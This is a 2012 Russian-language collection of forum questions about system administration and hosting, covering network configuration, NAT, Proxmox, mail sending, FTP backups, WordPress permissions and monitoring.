СТАТИСТИКА / SearchEngines / MaulTalk / Nulled / Toster


2012.08.30, 23:53:01   #Системное администрирование - #23378


Пытаюсь настроить VPS на clodo, делаю всё по этому мануалу, единственное, устанавливаю последние версии пакетов.


Застопорился на шаге:

lynx localhost

В консоли отдается phpinfo, всё нормально, но когда вбиваю в браузере внешний IP своего сервера, вижу «Firefox не может установить соединение с сервером».


Подскажите, пожалуйста:


— Какие действия имеет смысл произвести, чтобы найти проблему?

— В чём может быть проблема?


Честно долго Гуглил, пытался решить сам, но, к сожалению, не смог. Буду благодарен за помощь. Настраиваю VPS первый раз, равно как и первый раз общаюсь с Линуксом. Пожалуйста, не бейте сильно :)


Спасибо!
 

2012.08.31, 07:17:51   #Системное администрирование - #23384


Стоит задача перекинуть большой диск в образ, для последующего запуска его на новом сервере. Чем (для меня) усложняется задача, помимо отсутствия опыта и критичности данных на сервере:


Исходная машина
# df -h Filesystem Size Used Avail Use% Mounted on /dev/md2 1016G 31G 934G 4% / /dev/md1 496M 56M 415M 12% /boot /dev/md3 1.7T 231G 1.4T 15% /home

* Целевая машина аналогична исходной, но с proxmox в качестве KVM-менеджера

* Приблизительный KVM-контейнером на 100-300 Gb (/home мне пока не нужен)


Как выглядит процесс миграции в моем разгулявшемся воображении:

Загрузиться на исходной машине в Rescue System режиме
Урезаю GParted'ом до 40 Gb [md2] и до 120 Mb [md1] — md3 не трогаю
Монтирую md3 в качестве хранилища образов
По совету proxmox, fsarchiver'ом делаю бэкапы md2, md1 в файлы (на md3)
Раскукоживаю диски до ~прежних размеров, и перезагружаюсь в нормальный режим
Отсылаю и восстанавливаю образы на диски/разделы целевой KVM-машины
Кручу восстановленную ОС

Где я брежу, чего не вижу и какие «ключевые слова

и выражения» должен посмотреть в гугле прежде?
 

2012.09.01, 00:01:37   #Серверы - #23423


Как настроить дополнительные IP адреса в Ubuntu 10.04.3 LTS?

В настоящий момент содержание /etc/network/interfaces такое:
# Loopback device:
auto lo
iface lo inet loopback

# device: eth0
auto eth0
iface eth0 inet static
address 176.9.10.53
broadcast 176.9.10.63
netmask 255.255.255.224
gateway 176.9.10.33
post-up mii-tool -F 100baseTx-FD eth0

# default route to access subnet
up route add -net 176.9.10.32 netmask 255.255.255.224 gw 176.9.10.33 eth0

Мне нужно настроить IP адреса по этим данным:
IP: 78.46.25.192 /26
Mask: 255.255.255.192
Broadcast: 78.46.25.255
IP адреса от 78.46.25.193 до 78.46.25.254

К сожалению я здесь не могу действовать «методом тыка», так как при ошибочной конфигурации сервер может стать недоступным через SSH. Из за этого мне нужна ваша помощь.
 

2012.09.01, 11:27:51   #Серверы - #23426


Существуют 2 веб сервера один в Росии другой в Китае. Как сделать так чтобы росийские пользователи при заходе на сайт по урлу, попадали на росийский сайт, а китайские на китайский?

Что-то подобное делает Google если пропинговать google.com в Китае получаем один IP, в России другой IP.

Самым логичным ришением было б что-то сделать с DNS, когда DNS сервер проверяет IP входящего и выдает ему нужный IP.


В какую сторону копать?
 

2012.09.02, 23:19:13   #Системное администрирование - #23470


Хотелось бы узнать из первых уст нынешнюю ситуацию на рынке труда: котируются ли сертификаты уровня MCSE/RHCE и выше работодателями (хотя бы в пределах ДС/ДС-2), умеют ли HR распознавать по ним квалификацию и стоит ли вообще на что-нибудь рассчитывать?
 

2012.09.03, 11:35:40   #Серверы - #23485


Заказал для шкафа HP V142 600mm стандартные полки 750х496 — оказалось что у меня совсем нестандартный шкаф и влезет туда полка максимум 745х485 (примерно). Может кто видел подходящие к моему шкафу полки?

Спасибо!
 

2012.09.04, 15:36:44   #Хостинг - #23528


Вопрос скорее к сеошникам, хотя ответ могут знать и работники хостинг-компаний? Думаете это просто глюк, накрутка или есть другие причины?

Если посмотреть статистику запросов слова бизнес хостинг в Яндексе по месяцам, то увидим следующую картину:



Ссылка на запрос в Яндекс вордстате:

wordstat.yandex.ru/?cmd=months&scmd=abs&t=%22%D0%B1%D0%B8%D0%B7%D0%BD%D0%B5%D1%81+%D1%85%D0%BE%D1%81%D1%82%D0%B8%D0%BD%D0%B3%22&geo=&text_geo=
 

2012.09.04, 23:49:06   #Системное администрирование - #23544


Есть 6 сайтов.
5 сайтов обновляет каталог товаров с главного сайта.
Обновление: на главном формируется MySQL-дамп каталога товаров (18 таблиц, в среднем ~10тис записей на табл.) далее дамп вставляется на обновляемом сайте. В дампе — дроп таблици и инсерт записей.
Обновление одно проходит 12-15 сек.
После всех обновлений бывает зависает MySQL. Не в момент обновлений а после, может пройти 5 мин, может 10… А может и не зависнуть.

Может кто подскажет в какую сторону копать?
 

2012.09.05, 08:34:40   #Системное администрирование - #23551


обожаю в свободное время заниматься самообразованием, и как же мне повезло, что работа и хобби почти что совпадают
одно из моих любимых занятий было и есть смотреть в таблицу левлов сисадмина, изучать что то новое и сиволично закрашивать технологии с которыми более менее разобрался, таблица хоть и шуточная, но тем не менее всё равно полезная
и в последнее время мне стало интересно, что нужно, чтобы соответствовать уровню middle?
было бы очень интересно послушать мнение опытных людей и составить более-менее четкий алгоритм действий
 

2012.09.05, 11:37:50   #Системное администрирование - #23560


Чем грозит chunked_transfer_encoding off в определенном location nginx, если в ответ серверу планируется отправлять большое кол-во данных и какой максимальный объем данных nginx сможет принять?
 

2012.09.05, 15:36:12   #Системное администрирование - #23575


Имеем сейчас:
ССУЗ (с сетью на два корпуса и два общежития)
3 сервера (лаборантский, административный и студенческий) с Windows Server 2003
Ломаный UserGate 4.2 на 50 соединений, стоящий на каждом из серверов, который постоянно отваливается и глючит

Требуется
Авторизация по логину/паролю, либо по IP-адресу
Статистика по трафику
Статистика по посещённым сайтам
Блэк-листы (или возможность вручную прописывать сайты для блэк-листа)
Минимум 100 пользователей и 100 соединений на каждом сервере
Группы пользователей с возможностью выставлять ограничения по скорости
Стабильность работы (железо: Core 2 Quad (признаться, не помню какие именно), 8гб ОЗУ, 2x500гб SATA2 в RAID1)

Желательно:
Free
Веб-статистика
Простота настройки и управления

Вопросы по теме:
Существуют ли вообще бесплатные продукты, которые подходят по требованиям?
Какие можете посоветовать?
Если подходящие продукты только платные, какие можете посоветовать? (естественно, за исключением UserGate)
 

2012.09.05, 15:43:16   #Системное администрирование - #23576


Здравствуйте.
Есть windows-компьютер и есть linux-компьютер.
Есть необходимость подключить директорию из linux в качестве windows-раздела.
Пробовали подключить через SFTP Net Drive — очень медленно происходят операции с файлами.
Пробовали подключить через Samba — немного быстрее, но тоже слишком медленно.

Возможно ли подключить директорию как раздел без существенных тормозов?
Спасибо!
 

2012.09.05, 23:11:26   #Системное администрирование - #23593


Доброго времени суток


Современные приложения генерируют огромное кол-во логов. Возникает закономерный вопрос: а как анализировать такие большие объемы? grep по файлам конечно спасает в ряде задач, но все-таки хочется какого-то умного поиска с выявлением корреляций и каких-либо зависимостей.


Поделитесь своим опытом (или ссылкой на опыт других), как вы решаете эту проблему?
 

2012.09.06, 05:47:15   #Системное администрирование - #23600


После установки proxmox в debian перемонтировал @ data

в более удобную для меня директорию /pvedata.

# cat /etc/fstab proc /proc proc defaults 0 0 none /dev/pts devpts gid=5,mode=620 0 0 /dev/md/0 /boot ext4 defaults 0 0 ## /dev/md/1 belongs to LVM volume group 'pve' /dev/pve/swap swap swap defaults 0 0 /dev/pve/root / ext4 defaults 0 0 /dev/pve/vz /var/lib/vz ext4 defaults 0 0 /dev/pve/data /pvedata ext4 default 0 0

С тех пор каждая перезагрузка вынуждала меня ручками монтировать раздел заново.

Да-да, когда публиковал вопрос и «причесывал» колоночки, коих нет в оригинальном

файле, обнаружил-таки эту громадную ошибку на внимательность и, видимо, исправил

её. Но, все же, как-то глупо получается. Где и как смотреть логи на предмет подобных

ошибок, ценой в недельный геморрой?


Это и было той загадочная ошибкой в /etc/messages?
EXT4-fs (dm-0): warning: maximal mount count reached, running e2fsck is recommended
 

2012.09.06, 10:20:04   #Системное администрирование - #23610


Всем привет!
У меня есть маленькая HTPC-коробочка.
Управляется она Windows 7 (вот планирую, что скоро будет 8)
На ней заведено два юзера.
Первый — для того, чтобы запускать XBMC.
Второй — консольный. Для µTorrent и т. п.
Редко (но бывает либо апдейт поставится, либо электричество скакнёт, либо ещё чего) компьютер перезагружается.
Тогда у меня автоматом залогинивается юзер с XBMC и автоматом запускает его на весь экран.

Итак вопрос: как сделать, чтобы второй пользователь также автоматом залогинивался в консольную сессию?

Спасибо за ответы!
 

2012.09.07, 06:27:47   #Системное администрирование - #23652


Ситуация следующая: меняем IP хостинг.площадки на Hetzner. NS — остаются те же, меняется только A-запись.
Мгновения и nameserver Hetzner отвечает правильно, но TTL обещает, что по старому адресу будут заходить еще
TTL-часов, пока не разнесется весть по интернету и не истечет тот самый TTL.

Как мне на локальной машине (WinXP) настоять на своем «разруливании» адреса?
Нужен «карманный» DNS или есть что-то типа public hetzner dns, а может какой hosts-файл?
 

2012.09.10, 07:23:08   #Системное администрирование - #23739


Имеется один паблик IP и сеть из виртуальных машин на Debian

# network interface settings auto lo iface lo inet loopback # device: eth0 auto eth0 iface eth0 inet static address 175.219.59.209 gateway 175.219.59.193 netmask 255.255.255.224 post-up echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp
А вот — моя сеть в двух вариантах настройки:
auto vmbr0 iface vmbr0 inet static address 10.10.0.1 netmask 255.255.0.0 bridge_ports none bridge_stp off bridge_fd 0 post-up ip route add 10.10.0.1/24 dev vmbr0
Тут я могу себе позволить ходить в Интернет, обновлять пакеты и прочие радости грешной жизни,
но в упор не вижу своих соседей по сети 10.10.11.0/24 (все запросы уходят в интернет)

А вот в этом варианте я могу замечательно общаться с соседними машинами 10.10.11.0/24, но никакого
интернета:
auto vmbr1 iface vmbr1 inet static address 10.10.0.1 netmask 255.255.255.0 bridge_ports none bridge_stp off bridge_fd 0 post-up echo 1 > /proc/sys/net/ipv4/ip_forward post-up iptables -t nat -A POSTROUTING -s '10.10.0.0/24' -o vmbr1 -j MASQUERADE post-down iptables -t nat -D POSTROUTING -s '10.10.0.0/24' -o vmbr1 -j MASQUERADE
Вот правило, придуманное где-то между 5 и 6 часами ночи/утра:
iptables -t nat -A POSTROUTING ! -d '10.10.11.0/24' -j SNAT --to-source '175.219.59.209'
Оно описывает мой внутренний порыв отсылать все пакеты с адресами вне сети 10.10.11.0/24 через NAT на eth0.

А как правильно это сделать?
 

2012.09.10, 12:21:27   #Системное администрирование - #23744


То, что раньше было FTP сервером 175.149.11.09 в панеле Plesk
теперь стало сервером с адресом 10.10.11.3 с проброшенным наружу портом.

MasqueradeAddress 175.149.11.09
Может это? ProFTPd этого не понять: указать в конфигах
не разрешает политика панели (до первого рестарта)

При сохранении текущих настроек и с таким правилом:
iptables -t nat -I PREROUTING -p tcp --dport 721 -j DNAT --to-destination 10.10.11.3:21
ProFTPd материться таким затейливым образом:
proftpd[12905] 127.0.0.1: fatal: Socket operation on non-socket
 

2012.09.10, 13:32:55   #Хостинг - #23752


Здравствуйте!

Безумно интересуют механизмы оформления документов при официальной покупке услуг за рубежом от имени российского юридического лица. В частности, официальная покупка хостинга у Hetzner. Поделитесь, пожалуйста?

Очень прошу писать только тех, кто сам сталкивался с документарным оформлением подобных сделок, буду очень благодарен за такую любезность. Поиском в Интерете пользоваться умею и я, законодательство о валютных операциях читал. Но хочется составить ясную картинку, особенно с учетом практического опыта других людей. Осложняется все тем, что, к примеру, Hetzner предлагает только публичную оферту, и в качестве оснований для платежа присутсвуют только счета на оплату. Никаких актов выполненных работ при этом нет.

Так же интересует вопрос налогообложения и учета затрат. Планируется продавать ряду других организаций услуги на основе решения, купленного за рубежом, поэтому учет затрат в бухгалтерском\налоговом учете важен.

И, безусловно, заранее спасибо за потраченное время и науку.
 

2012.09.11, 03:28:49   #Системное администрирование - #23779


Всем привет. Может кто-нибудь посоветовать книги, статьи по анализу производительности систем (cpu, диски, сеть...)? Желательно, чтобы там было не просто описание параметров, на которые нужно смотреть (латентности, иопсы и прочее), а рассказывалось именно про техники принятия решения — хорошо системе или плохо, про техники поиска узких мест. Чем больше практических примеров, которые можно воплотить у себя на машине и пощупать, тем лучше.
 

2012.09.12, 08:45:01   #Хостинг - #23832


Сервер — VDS (Debian 6.0)

Версия PHP 5.3.16-1~dotdeb.0

Проблема:

Все попытки отправить письмо из PHP скриптов, посредством smtp.gmail.com через SSL/TLS соединение заканчиваются ошибкой.


Порты не закрыты, т.к. я могу подключиться и отправить письмо посредством openssl


PHP работает с подключенным модулем openssl


Из phpinfo:

SSL Version OpenSSL/0.9.8o

и

OpenSSL support enabled

OpenSSL Library Version OpenSSL 0.9.8o 01 Jun 2010


Вот что пишет, например, phpmailer при попытке подкючиться, используя TLS




SMTP < — FROM SERVER:220 mx.google.com ESMTP hj19sm16658219lab.13

SMTP -> TO SERVER: EHLO mydomain.com

SMTP < — FROM SERVER: 250-mx.google.com at your service, [my IP] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250 ENHANCEDSTATUSCODES

SMTP -> TO SERVER: STARTTLS

SMTP < — FROM SERVER:220 2.0.0 Ready to start TLS

SMTP -> TO SERVER: RSET

SMTP < — FROM SERVER:

SMTP -> ERROR: RSET failed:

SMTP -> NOTICE: EOF caught while checking if connectedThe following From address failed: test@mydomain.com Mailer Error: The following From address failed: test@mydomain.com


При попытке родкючиться, используя SSL

SMTP -> ERROR: Failed to connect to server: (o)

The following From address failed: test@mydomain.com Mailer Error: The following From address failed: test@mydomain.com

Как побороть?
 

2012.09.13, 08:07:31   #ISPmanager - #23876


Собственно вопрос одной строкой. Очень красивая, хорошая панель у Parallels, но вот вся эта свистопляска, с которой я столкнулся при нынешнем переезде со standalone дедика в KVM-контейнер за NAT-ом, тот уровень непрозрачности, зависимость конфигов от панели, но не наоборот (у всех свои причины).


В пользу чего вы отказались? На какую панель ушли и не жалеете ни вы, ни ваши клиенты?
 

2012.09.13, 20:02:51   #Системное администрирование - #23895


Добрый вечер уважаемые хабрапользователи, столкнулся со следующей довольно интересной в моей практике проблемой в первый раз. Опишу по пунктно:

1. Имеется ноутбук на Windows 7 с заблокированным доменным пользователем, пароль доменного админа не знаю, доступа к серверу нет, скорее всего Windows Server 2008
2. Скинул через livecd пароли локального пользователя и админа

Вопрос, как через livecd или cmd узнать имя локального компьютера (рабочей группы)? Чтобы проверить, скинулись ли пароли и чтобы пользователь мог работать вне домен контроллера?
 

2012.09.13, 21:01:38   #Системное администрирование - #23898


Привет,

Часто приходится логиниться через RDP на удалённые сервера через VPN.
На интранет портале настроен SSO, который работает для пользователь которые ходят прямо со своих компьютеров.

Можно ли настроить windows/ie чтобы он не спрашивал пароль внутри RDP сессии?

Заранее спасибо!
 

2012.09.13, 23:04:46   #Хостинг - #23905


Здравствуйте.
Тут проблему сам себе создал. Как известно, у Dropbox появилась 2step-авторизация. Так вот, на свой Аккаунт ее применил. Генерировал коды с помощью Google Authenticator. В нем были коды для двух аккаунтов — Google и Dropbox. Сейчас Dropbox куда-то пропал (может, из-за перепрошивки смартфона).

Сегодня переставлял систему на ПК, пытаюсь через браузер залогиниться — запрашивает 6-значный код, а ввести я его не могу, потому что нет аккаунта в Authenticator. 16-значного пароля я вообще не припомню, т.е на руках его нету.

Неужели потерян Аккаунт? На нем 20Gb, собранных мною… Используем группой институтской как общую папку с файлами по предметам. Жалко будет.
 

2012.09.14, 08:03:11   #Системное администрирование - #23912


Привет всем. Есть Ubuntu Server 12.04, на нем стоит Apache. Есть несколько сайтов, которые хранятся в /var/www/{site_name}/htdocs. Есть конфиги апача в каталоге sites-available. Ну, и записи в /etc/hosts вида 127.0.1.* {site_name}.


Когда я запускаю этот сервер в Virtual Box, система разрешает имя самого сервера, т.е. я могу зайти в браузере не по IP, а по имени хоста (в данном случае ubs) и попаду на сайт default в каталоге /var/www. Но у меня так и не получилось сделать так, чтобы разрешались имена виртуальных хостов, чтобы мне на рабочей машине не приходилось для каждого хоста прописывать в /etc/hosts строку вида 192.168.1.100 ubs site1.ubs site2.ubs.


Что нужно сделать? Как заставить DNS разрешать имена виртуальных хостов, чтобы они были доступны извне? Я так понимаю, если разрешается имя самого сервера, то DNS сервер есть?
 

2012.09.14, 09:09:38   #Системное администрирование - #23914


Доброго времени суток!
Я администрирую небольшое предприятие на 10 человек. В настоящий момент там происходит сущий ад с почтой. На предприятии зарегистрированно несколько почтовых ящиков — часть на mail.ru, часть на yandex.ru, часть на нормальном домене. В качестве клиентов, используется The Bat (на всех машинах). Каждый клиент настроен на всех почтовые ящики. Скачанная почта попадает в общую сетевую папку. Если один человек качает почту, она появляется у других.
И эта система работала до поры до времени, пока архивы с почтой не достигли размеров в 10-20Гб. И все стало виснуть, и все стало ломаться.
А так как я сам мало что смысл в администрировании, прошу совета — чем можно заменить подобную систему? Т.е. сбор почты со всех ящиков, синхронизация ее с клиентами. Желательно, чтобы ПО было бесплатное.
 

2012.09.14, 10:41:38   #Системное администрирование - #23916


Обнаруживаются большие проблемы с Windows Server 2008 R2. Сразу скажу — я в деле разбираюсь не очень, а кому-то разбираться нужно. Пригласить кого-то со стороны — возможности нет (глушь).

У нас стоит «сервер» (более-менее мощный компьютер, серверным оборудованием внутри и не пахнет), на котором крутится ОС (см. выше), на которой крутится сервер терминалов, в котором пользователи работают с 1С (файловой) и еще парой программ. Так же вертится SQL Server 2005 Express. Пользователей всего — не более 30. У всех (наверное) — статически прописаны IP, шлюз и DNS-сервера провайдера. Все это лежит за ADSL-модемом D-Link 2540U, на котораом проброшены порты на наш дорогой сервер — для работы снаружи.

Итак, сначала пропали ярлыки в главном меню, затем пропали часть данных на диске — это еще ладно, восстановил. Дальше — больше. Начались проблемы с сетью: после перезагрузки (до моего прихода стоял Hyper-V — неясно зачем, решил его убрать. Теперь понял, что если что-то работает, то лучше ничего не трогать) сеть перестала видеть комп по символьному имени, по IP он нормально пинговался. Но! При попытке «пингануть» кого-то с сервер, пинг выдавал, то «Общую ошибку», то «General failure», включая пинги на 127.0.0.1. Удалил роль «Маршрутизация и удаленный доступ» — сам себя он увидел, но в остальном ничего не поменялось. Что ж, поставил на карту автоопределение сетевых параметров — пинги стали доходить и уходит, сервер появился в сети. Все бы хорошо, но IP динамический, а установить статику модем не позволял из-за кривой прошивки — просто не сохраняет значения и все тут (обновлю, как найду настройки провайдера). Вернул на статику в сетевой, какими-то манипуляциями добился от пинга «Заданная сеть недоступна». Сбрасывал Arp-ы, кешы, роуты — все так же. Вернул на динамический, обновил пользователям RDP-файлы, поменял проброс портов на модеме. Вот сегодня IP сменился — и по новой… Что делать — ума не приложу. И после перезагрузки — снова пропажа файлов, на этот раз ярлыками и инсталляторами дело не обошлось, потерлись базы 1С, стал грешить на жесткий — оказалось, что это аппаратный Raid 1. Помимо него присутствуют WDC WD20EARS-00MVWB0 и WDC WD10EALX-009BA0 — подозреваю, в raid входят подобные.
Про то, что не устанавливаются обновления — я уже молчу (unknown error code 800070005).

В процессе всего этого возникают такие ошибки:
Превышение времени ожидания (30000 мс) при ожидании ответа транзакции от службы «Netman» Превышение времени ожидания (30000 мс) при ожидании ответа транзакции от службы «UxSms». Превышение времени ожидания (30000 мс) при ожидании ответа транзакции от службы «SDevOOPNet». Компонент X.224 RDP-протокола обнаружил ошибку в потоке протокола и отключил этого клиента. WINS обнаружил ошибку базы данных. Неизвестно, насколько серьезна эта ошибка. WINS попытается устранить ее последствия. В качестве источника для поиска более детального описания ошибок базы данных можно использовать события категории «Журнал приложения» средства «Просмотр событий» компонента Exchange (ESENT). Если же подобные ошибки регулярно возникают в течение продолжительного времени (нескольких часов), то может потребоваться восстановление базы данных WINS из архивной копии. Номер ошибки содержится во втором значении типа DWORD раздела данных. Сбой при вызове ScRegSetValueExW для Start из-за ошибки
Отказано в доступе. Не удается установить обновление Windows из-за ошибки: 2149842967 "" (Командная строка: "«C:\Windows\system32\wusa.exe» «D:\Install\Venta\inst\Windows6.0-KB958483-x86.msu» ") The configuration of the AdminConnection\TCP protocol in the SQL instance SQLEXPRESS is not valid. Операция архивации, начатая в "‎2012‎-‎09‎-‎13T17:00:30.672000000Z", завершилась с ошибкой, поскольку произошел сбой службы теневого копирования при попытке создать теневые копии архивируемых томов. Код ошибки: «2155348129». Чтобы найти причину ошибки, просмотрите описание события и повторите операцию после устранения проблемы. SQLVDI: Loc=SVDS::CloseDevice. Desc=Abort detected. ErrorCode=(0). Process=1212. Thread=12016. Server. Instance=MICROSOFT##SSEE. VD=Global\{859B0FF0-477F-42B0-A123-75A9B8266D3C}1_SQLVDIMemoryName_0. Событие отклонено модулем записи VSS с ошибкой 0x800423f4, Повторяющаяся ошибка средства записи. Эта ошибка вероятно будет
возникать снова при повторении попытки архивации.
Убедительно прошу сообщество помочь, а не троллить, отправлять в гугл и т.п. — был везде, может быть, понял не все. Проблема действительно серьезная (для меня).
Заранее всем спасибо за ответы.
 

2012.09.16, 21:47:34   #Серверы - #23972


Здравствуйте! Вопрос простой, но тем не менее прошу помочь сориентироваться :)

В домашней локальной сети планируется установка сервера, на котором на некоторых портах будут висеть некоторые приложения (например, MySQL, Apache, SSH и т.д.). Cервер будет получать интернет с помощью Wi-Fi адаптера либо по витой паре (не выбрал еще) от роутера (на роутере firewall включен). Так вот, как настроить сервер и/или роутер так, чтобы:

1) к какому-то набору портов был доступ только из локальной сети (Apache, MySQL, WebMin)
2) к какому-то набору портов можно было достучаться извне (SSH, FTP)
3) обращения к остальным портам блокировались

Сервер на базе Ubuntu 12.04
 

2012.09.17, 12:32:02   #Системное администрирование - #23990



Приветствую.

Возможна ли организация почты, как показано на изображении? Если да, то на платформе какого почтового сервера.

Идея в том, чтобы вложения попадали на клиентский компьютер по его инициативе, а не автоматически скачивались с почтового сервера в почтовый клиент.

Т.е. когда приходит письмо со вложенным файлом из сети Интернет само вложение сохраняется отдельно в папке на сервере, а в письме добавляется ссылка на этот вложенный файл. Нужен тебе файл — проходишь по ссылке, копируешь файл, сохраняешь себе на ПК, заодно и думаешь, нужен ли тебе этот файл…
 

2012.09.18, 18:06:32   #Системное администрирование - #24044


День добрый, беда такая, вдруг ни с того ни с сего поломался бэкап на фтп
выполнялось монтирование фтп каталога вот так
# curlftpfs login:passwd@backup.server.ru /mnt/backup

всё было нормально с дофига времени, и вот тут случилась беда, никак не могу победить

fuse: failed to open /dev/fuse: Permission denied

Все мануалы, весь интернет переустановка всего и вся тест с правами с группами, в общем явно что-то поломалось и никак не хочет лечиться

городить велосипед из консольных фтп клиентов уж совсем не хочется, просто хочется вылить в каталог данные и забыть…
а не выдумывать различные
ncftpput –R –v –u "username" ftp.nixcraft.biz /nixcraft/forum /tmp/phpbb
или что-то такое

#!/bin/bash lftp -u username,password ftphost
 

2012.09.18, 23:02:16   #Системное администрирование - #24053


Друзья, думаю, что почти любому (даже самому начинающему) администратору приходится иметь с собой (например, на флэшке) SSH-клиент под Windows для доступа на сервер под *nix.

PuTTY Portable плох тем, что не умеет хранить пароли (да, он умеет хранить ключи, но на некоторые серверы лично мне удобнее ходить именно по паролям) и требует обёртки для портабельной работы. KiTTY портабелен от рождения и пароли хранить умеет, но у меня он как-то нестабильно работает в самых разных ситуациях (теряет коннект с подозрительной периодичностью).

Чем ещё вы регулярно пользуетесь с удовольствием?
 

2012.09.19, 17:34:28   #Хостинг - #24100


Вопрос в следующем, создал проект локально. Стал перемещать на хостинг, кладу все папки проекта (включая web) в public_html, в итоге получаю, что сайт работает через www.my-domain.ru/web/app.php/. А хочется www.my-domain.ru. Так же можно app.php не писать, эффект будет аналогичен, при этом при переходе по ссылкам в пределах сайта уже app.php не нужно вписывать. Локально попробовал web переименовать в public_html — взлетело. Заливаю по другому весь проект, все папки за исключением web кладу рядом с public_html на хостинге, все что было в web кидаю в public_html. www.my-domain.ru/app.php/ — работает, убираю app.php — не работает, не найден индексный файл. Делаю хитрее в .htaccess вписываю строку DirectoryIndex app.php — отлично, главная страница открывается по адресу www.my-domain.ru, но все остальные ссылки не работают, все работает если руками перед ними вписывать app.php. Собственно я так понимаю symfony при правильно работе неявно подставляет app.php, но в такой расположении папок не работает. Вопрос к знатокам, как исправить? Может я зря папки положил на одном уровне с public_html, а надо было по другому как то замапить web? Разговор идет о shared хостинге, но есть ssh консоль.
 

2012.09.20, 08:30:03   #Системное администрирование - #24118


Всем привет!
Я работаю с сервером ProLiant DL380 G6 на котором стоит RHEL 6.2. У этого сервера периодически наблюдается странный глюк-при наботе текста, например при вводе команд, символ печатается спустя примерно секунду после нажатия, и такая задержка немного напрягает. Продолжается это примерно минут 10, потом пропадает, потом через час где-то появляется снова. Сеть тут точно непричем, так как там пропускная сопособность 1 гигабит. Репродюсится как через ssh так и через iLO. Гораздо реже бывает другой глюк-при нажатии клавиши символ печатется 2-3 раза, то есть когда логинешься, набираешь например root, а печатается например rroot. Соответственно и пароль так набирается, то есть залогинется не получается. Бывает это как правило после перезагрузки. Толи это железо сбоит, толи линукс так глючит. Кто нибудь слышал про такие глюки?
 

2012.09.20, 08:58:29   #Хостинг - #24121


К примеру в cpanel прямо из админки можно поставить munin monitoring.
Такого же простого способа помониторить сервер с плеск я не нашел.
 

2012.09.20, 19:15:48   #Хостинг - #24147


Собственно, вопрос в заголовке. Перестал пинговаться и все. Сервак на всякий случай ребутнул, в техподдержку написал. Молчание, ноль реакции.

Можете проверить, у кого возможность есть?

UPDATE
Ответ хетцнера

Dear Client.

We can't help you in this case. Because this isn't our network with the routing
issue.


Что делать? Судя по комметариям ниже — надо заменить dns. Так?

UPDATE 2
пинг пошел, коннект есть, трейс так и останавливается на 3-ем.
 

2012.09.21, 10:35:08   #Системное администрирование - #24160


Нужно сделать remote port forwarding, т.е. открыть свободный remote port с пробросом его на local port. Но при этом какой-то определенный remote port выбирать нельзя, ибо он может быть уже занят. В идеале было бы сказать ssh открыть свободный remote port, пробросить его на свободный local port, сказать мне какие порты были выбраны, чтобы я смог поднять слушающий local port и сообщить всем о поднятом remote port. Таким образом установилось бы remote port forwarding соединение с динамически выбранными портами.
 

2012.09.21, 14:15:40   #Хостинг - #24173


Настраиваю Wordpress на своем личном хостинге, на VPS. Сам себе админ, владелец и вебмастер. На чужих хостингах видел, что администратор Wordpress может сам изменять файлы темы (заголовок, например), ставить и обновлять плагины, загружать фото. На своем хостинге такое получается сделать, только если дать пользователю, от имени которого работает apache, права записи в некоторые каталоги wordpress, в т.ч. /wp-content/themes/. Что мне, как человеку с сисадминским опытом за плечами, кажется весьма небезопасным. Разве что запускать веб-сервер исключительно для своего сайта и ни с кем его не шарить, но для хостера-то это не вариант.


Есть вариант решения этой задачи с suexec PHP, но говорят, что это замедляет работу сайта в десятки раз (минимум в 20, но есть мнение, что посещаемый сайт от такой нагрузки просто ляжет).


Других вариантов не знаю. Их действительно нет? Друзья, работающие в коммерческих хостингах говорят, что там часто полагаются на надежность CMS (в частности, Wordpress), и из-за этого сайты нередко ломают, причем чаще — через не очень качественно написанные плагины.


Все действительно так плохо?
 

2012.09.23, 16:23:47   #Системное администрирование - #24235


Как известно, данные в zabbix можно подгружать как с помощью периодического опроса SNMP агентов, так и с помощью обработки трапов.


В первом случае оперативность получения данных определяется периодом и есть шанс пропустить короткие события. При использовании механизма трапов с оперативностью все в порядке, но зато вероятна утрата событий, в силу специфики протокола UDP.


Хотелось бы совместить достоинства этих методов, но в zabbix типы элементов данных от SNMP агентов и от механизма трапов не совместимы в одном элементе.


Пока дошел до создание двух элементов для SNMP агентов и трапов, обьедение их данных в триггере, но… триггер громоздкий, данных много, неприглядно это.

В идеале, хотелось бы по трапу возбудить опрос zabbix-ом SNMP агента, но ничего подобного не нашел в Zabbix API.

Заранее благодарен за идеи и и подсказки!
 

2012.09.24, 09:43:10   #Системное администрирование - #24261


Добрый день!


Есть потребность в автоматизации процесса представления прав в ряде  автоматизированных системы большому количеству пользователей.

Контекст такой: есть крупная организация (1-2 тысячи работников),  в которой используется несколько десятков программных продуктов (редко какой из них может использовать для аутентификации и представления прав Active  Directory, большинство имеют свою базу пользователей со своей системой аутентификации и авторизации),  имеем отдел поддержки пользователей, который по запросам пользователей форирует заявки на изменение прав в одной  или нескольких системах, имеем отдел безопасности, который эти заявки проверяет на допустимость и имеем отдел администрирования,  который эти заявки исполняет — заводит пользователей в системах,  выдает/меняет права. Проблема в том,  что отдел безопасности часто  запрашивает отчеты о том, кому выданы такие-то права в системе (или вообще сводный отчёт по правами в конкретной системе),  а иногда возникает необходимость в просмотре предыдущей версии заявки на конкретного пользователям и так далее.

Задача не в автоматизации выдачи прав,  а в автоматизации учета подобных «заявок» на доступ.


Даже не знаю как называется такая категория продуктов (если таковая имеется). 


Из примерных требований:

возможность работы через веб-клиент;

возможность  формирования печатной формы данной «заявки»,  где были бы отражены все выданные/планируемые к выдаче права конкретного пользователя;

система отчётности (неплохо бы с возможностью составления собственных отчетов ),  где также же отражалась бы информация по выданным на ресурс правам в соответствии с выполненными «заявками»;

версионность для «заявок»;

возможность импорта данных (пользователей, ресурсов на которые предоставляются права и так далее).


P.S.: Пишу с мобильного телефона с 'интеллектуальной'   клавиатурой и прошу прощения за возможные опечатки.
 

2012.09.24, 16:30:57   #Системное администрирование - #24282


Хорошим тоном в профессиональной среде считается плюнуть в сторону howtoforge. Точнее в «мастеров по бесмысленному применению» чужих мыслей на счет тонкой (и толстой) настройки сервера. Вот допустим, есть тысячи кратких мануалов о том, как настроить nginx, установить proxmox и т.д. По сему стоит мой «саморучно» установленный proxmox, c sysctl «из коробки» debian, с параметрами на хостовой машине виртуализации типа такого:
net.core.netdev_max_backlog = 1000

И кучка гостевых машин с их параметрами:
net.core.netdev_max_backlog = 100500

